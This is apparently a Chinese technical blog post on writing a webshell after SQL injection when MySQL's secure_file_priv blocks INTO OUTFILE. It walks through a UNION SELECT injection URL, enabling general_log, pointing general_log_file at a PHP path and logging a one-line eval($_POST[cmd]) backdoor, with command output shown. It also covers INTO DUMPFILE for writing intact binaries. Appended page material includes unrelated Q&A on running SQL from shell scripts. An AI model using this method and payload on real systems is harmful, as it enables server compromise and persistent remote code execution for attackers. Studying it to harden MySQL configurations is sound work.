sql注入怎么使用linux命令,SQL注入写shell不成功后

66b52468c121889b900d4956032f1009.png

8种机械键盘轴体对比

本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?

之前遇到sql注入,且是root权限后,很容易直接写进去shell。现在的Mysql数据库的安全性也高了,即使注入得到mysql的root权限,有时候还是写不进去shell。

SQL 注入写 shellhttp://127.0.0.1:8000/waf/test.php?id=-1' union select 1,2,3 --+

c879255ba5530cb9a783ad2f13b957bd.png

root权限

78f63c21594dcd818301511e7d1a0982.png

写一句话的时候,报错。如果能进入phpmyadmin后台,可以试试一个方法。

1145f1f8fe8a432914058f2e6c0dc148.png

就是--secure-file-priv的问题。

本地测试。

Mysql导出文件时报错mysql> select host from mysql.user into outfile 'E:\test\1.txt';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti

on so it cannot execute this statement

报错原因:secure_file_priv设置了指定目录,需要在指定目录下进行数据导出。mysql> show variables like '%secure%';

+------------------+-------+

| Variable_name | Value |

+------------------+-------+

| secure_auth | OFF |

| secure_file_priv | NULL |

+------------------+-------+

2 rows in set (0.00 sec)

secure_file_priv 参数为空,表示没有可以导出的目录。这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。这些操作需要用户具有FILE权限。

如果这个参数为空,这个变量没有效果;

如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它;

如果这个参数为NULL,MySQL服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入

执行一下命令,在终端是修改不了secure_file_priv的值的。mysql> show variables like '%secure%';

+------------------+-------+

| Variable_name | Value |

+------------------+-------+

| secure_auth | OFF |

| secure_file_priv | NULL |

+------------------+-------+

2 rows in set (0.20 sec)

mysql> set global secure_file_priv = 'D:\phpStudy\www\waf\shell\1.txt';

ERROR 1238 (HY000): Variable 'secure_file_priv' is a read only variable

此时是root权限,into outfile写不了文件。这个时候,如果能登录到phpmyadmin,可以尝试一个方法。

在phpmyadmin后台中,查看全局变量:找到general log file和general log

将general log设置为ON

general log file 设置为shell的物理地址。

930fa3b0aef01a84894e0c2cb170a5cc.png

再执行一个写一句话的SQL语句。虽然还有报错,但是已经写入进去了。

1145f1f8fe8a432914058f2e6c0dc148.png

在D:phpStudywwwwafphpinfo.php中可以看到写入的php代码。

5b14c06624879f087ebd82ce74539c38.png

访问。

dea26703c530ae8e9605852177252ee2.pnggeneral_log

Command-Line Format --general-log

System Variable Name general_log

Scope Global

Dynamic Yes

Permitted Values Type boolean

Default OFF

Whether the general query log is enabled. The value can be 0 (or OFF) to disable the log or 1 (or ON) to enable the log. The default value depends on whether the --general_log option is given. The destination for log output is controlled by the log_output system variable; if that value is NONE, no log entries are written even if the log is enabled.

general_log_file

Command-Line Format --general-log-file=file_name

System Variable Name general_log_file

Scope Global

Dynamic Yes

Permitted Values Type file name

Default host_name.log

The name of the general query log file. The default value is host_name.log, but the initial value can be changed with the --general_log_file option.

如果登录不了phpmyadmin后台,试试能登录mysql终端吗?可以试着来执行以下命令。show variables like '%general%'; #查看配置

set global general_log = on; #开启general log模式

set global general_log_file = 'D:\phpStudywww\waf\shell.php'; #设置写入shell路径

select '<?php eval($_POST[cmd]);?>' #写入shell

window环境下在my.ini中设置 secure-file-priv="D:/phpStudy/www/waf" 为数据库的导入和导出路径。

Ubuntu环境下

SELECT的SELECT … INTO形式可以使查询结果存储在变量中或写入文件中。导出数据到文本文件中。SELECT … INTO OUTFILE将选定的行写入文件。可以指定列和行结束符以产生特定的输出格式。

SELECT … INTO DUMPFILE将单行写入文件而不使用任何格式。outfile

区别:mysql> select host from mysql.user into outfile 'D:/phpStudy/www/waf/test.txt';

Query OK, 3 rows affected (0.00 sec)

内容:127.0.0.1

::1

localhostdumpfile

mysql> select host from mysql.user into dumpfile ‘D:/phpStudy/www/waf/test1.txt’

;

ERROR 1172 (42000): Result consisted of more than one row

只能导出一行内容。

若把一个可执行2进制文件用into outfile函数导出,导出后可能会被破坏,因为into outfile函数会在行末写入新行,并且会转义换行符。这样2进制可执行文件会被破坏。这个时候用into dumpfile就能导出一个完整的可执行的2进制文件。

参考

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: shell脚本可以通过调用mysql命令执行SQL语句。例如,可以使用以下命令执行SQL语句: mysql -h主机名 -u用户名 -p密码 数据库名 -e "SQL语句" 其中,主机名是数据库所在的主机名,用户名和密码是数据库的登录凭据,数据库名是要执行SQL语句的数据库名称,SQL语句是要执行的SQL语句。 例如,以下是一个简单的shell脚本,用于执行SQL语句并将结果输出到文件中: #!/bin/bash mysql -hlocalhost -uroot -p123456 testdb -e "SELECT * FROM users" > output.txt 该脚本将连接到名为testdb的数据库,并执行SELECT * FROM users语句,将结果输出到output.txt文件中。 ### 回答2: Shell脚本是一种用于Unix和Linux系统的脚本语言,可以用于管理文件系统、执行命令等。在Shell脚本中,我们可以使用各种命令和工具来完成一些常见的任务,其中SQL是一个常见的用途之一。 执行SQL语句需要一个数据库管理系统(DBMS),比如MySQL和Oracle等。一般来说,我们需要首先在Shell脚本中安装适合的DBMS并建立连接。连接数据库后,我们可以使用Shell脚本执行SQL语句并获取返回值。 我们可以使用以下命令Shell脚本中执行SQL: 1. mysql命令 这是一个常见的用于管理MySQL数据库的命令,可以直接在Shell执行SQL语句。我们可以使用以下命令来运行我们的SQL语句: mysql -u user -p password -h hostname -P port -D dbname -e "SQL statement" 其中,-u指定用户名,-p指定密码,-h指定主机名,-P指定端口号,-D指定数据库名,-e指定要执行的SQL语句。 2. psql命令 这是一个用于管理PostgreSQL数据库的命令,也可以在Shell执行SQL。类似于mysql命令,我们可以使用以下命令来运行我们的SQL语句: psql -h hostname -p port -U username -d dbname -c "SQL statement" 其中,-h指定主机名,-p指定端口号,-U指定用户名,-d指定数据库名,-c指定要执行的SQL语句。 有些时候,我们需要在Shell脚本中执行多条SQL语句或者使用循环来动态执行SQL,这就需要对Shell脚本的编程能力有一定的要求了。但无论在哪种情况下,我们都需要了解DBMS和Shell脚本的基本语法才能编出安全高效的代码。 ### 回答3: Shell脚本是一种在Unix或Linux操作系统中使用的编程语言,其脚本文件使用Shell解释器来执行执行SQL语句通常是在数据库中操作数据,与shell脚本紧密相关,尤其是在自动化任务方面。 在Shell脚本中执行SQL语句的过程: 1. 指定数据库连接信息:需要在Shell脚本中指定数据库连接信息,包括数据库服务器IP地址、数据库端口、登录名和密码等。可以将这些信息定义为变量,然后在脚本中使用这些变量,方便修改和维护。 2. 编SQL语句:在Shell脚本中编需要在数据库中执行的SQL语句。这些SQL语句可以是查询、插入、更新或删除等操作。注意在SQL语句时候要通过变量的方式传值,防止SQL注入。 3. 执行SQL语句:通过shell执行数据库客户端程序例如 mysql,postgresql,oracle等,同时传递执行的SQL语句。 4. 处理结果:执行SQL语句后,可以获取数据库执行结果,包括数据库操作受影响的行数、查询结果等。可以通过Shell脚本来处理这些结果,比如进行统计、分析、输出等操作。 在实际应用中,Shell脚本执行SQL通常被用于批量处理数据、自动化任务或数据备份等场景,如某个时期对数据进行统计,定时清洗过期数据或导出数据报表。通过Shell脚本执行SQL语句可以极大提高效率,降低手动操作过程中出错可能,保证数据一致性和可靠性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值